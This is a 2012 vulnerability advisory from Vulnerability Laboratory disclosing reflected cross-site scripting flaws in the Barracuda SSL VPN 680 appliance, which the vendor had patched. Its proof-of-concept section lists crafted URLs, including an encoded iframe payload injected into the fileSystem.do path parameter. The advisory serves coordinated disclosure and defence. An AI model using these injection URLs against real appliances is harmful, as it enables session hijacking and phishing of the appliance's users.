Title:
======
Barracuda SSL VPN 680 - Cross Site Scripting Vulnerabilities


Date:
=====
2012-07-16


References:
===========
http://vulnerability-lab.com/get_content.php?id=561

Barracuda Networks Security ID: BNSEC-278


VL-ID:
=====
561


Common Vulnerability Scoring System:
====================================
3


Introduction:
=============
The Barracuda SSL VPN is an integrated hardware and software solution enabling secure, clientless remote 
access to internal network resources from any Web browser. Designed for remote employees and road warriors, 
the Barracuda SSL VPN provides comprehensive control over file systems and Web-based applications requiring 
external access. The Barracuda SSL VPN integrates with third-party authentication mechanisms to control user 
access levels and provides single sign-on. 

Barracuda SSL VPN   

    * Enables access to corporate intranets, file systems or other Web-based applications
    * Tracks resource access through auditing and reporting facilities
    * Scans uploaded files for viruses and malware
    * Leverages multi-factor, layered authentication mechanisms, including RSA SecurID and VASCO tokens
    * Integrates with existing Active Directory and LDAP directories
    * Utilizes policies for granular access control framework
    * Supports any Web browser on PC or Mac

(Copy of the Vendor Homepage: http://www.barracudanetworks.com/ns/products/sslvpn.php)


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the Barracuda  SSL VPN 680 appliance application.


Report-Timeline:
================
2012-06-09:  Researcher Notification & Coordination
2012-06-10:  Vendor Notification
2012-07-12:  Vendor Response/Feedback
2012-07-14:  Vendor Fix/Patch
2012-07-16:  Public Disclosure


Status:
========
Published


Affected Products:
==================
Barracuda Networks
Product: SSL VPN Appliance v680 - 2.2.2.115


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
Multiple non persistent cross site scripting vulnerabilities are detected in Barracuda SSL VPN 680 v2.2.2.115 appliance application.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required 
user inter action. The bugs are located in the fileSystem.do, showUserResourceCategories.do,launchAgent.do files with the bound 
vulnerable  policyLaunching, resourcePrefix, path & return-To parameters. Successful exploitation can result in account steal, 
phishing & client-side content request manipulation.

Vulnerable Module(s):
        [+] showUserResourceCategories.do&messageResourcesKey=resourceCategory
        [+] fileSystem.do?launchId=l52ca6d&actionTarget=list&path=
        [+] launchAgent.do

Vulnerable Parameter(s):
        [+] policyLaunching & resourcePrefix
        [+] list&path
        [+] return-To


Proof of Concept:
=================
The client side cross site scripting vulnerabilities can be exploited by remote attackers with medium or high required user inter action.
For demonstration or reproduce ...

1.1
https://sslvpn.[SERVER]/resourceList.do?form=resourceCategoriesForm&readOnly=test&path=
%2FshowUserResourceCategories.do&messageResourcesKey=resourceCategory&actionPath=[NON-PERSISTENT SCRIPT CODE!]


1.2
https://sslvpn.[SERVER]/[FILE].do?[VALUE #1]=l52ca6d&[VALUE #2]=[VALUE #3]&[PATH LISTING]=smb/Sales%20Folder/Opt/[NON-PERSISTENT SCRIPT CODE!]

PoC:
https://sslvpn.[SERVER]/fileSystem.do?launchId=l52ca6d&actionTarget=list&path=smb/Sales%20Folder/Testing
%20from%20Tri%20Opt/%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C


1.3
https://sslvpn.[SERVER]/launchAgent.do?launchId=l3ce418&returnTo=[NON-PERSISTENT SCRIPT CODE!]


Solution:
=========
2012-07-14:  Vendor Fix/Patch by Barracuda Networks


Risk:
=====
The security risk of the non-persistent cross site scripting vulnerabilities are estimated as medium(-).


Credits:
========
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com     - www.vuln-lab.com             - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com   - support@vulnerability-lab.com          - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com   - forum.vulnerability-lab.com            - news.vulnerability-lab.com
Social:      twitter.com/#!/vuln_lab     - facebook.com/VulnerabilityLab          - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php  - vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

                 Copyright © 2012 | Vulnerability Laboratory



-- 
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research@vulnerability-lab.com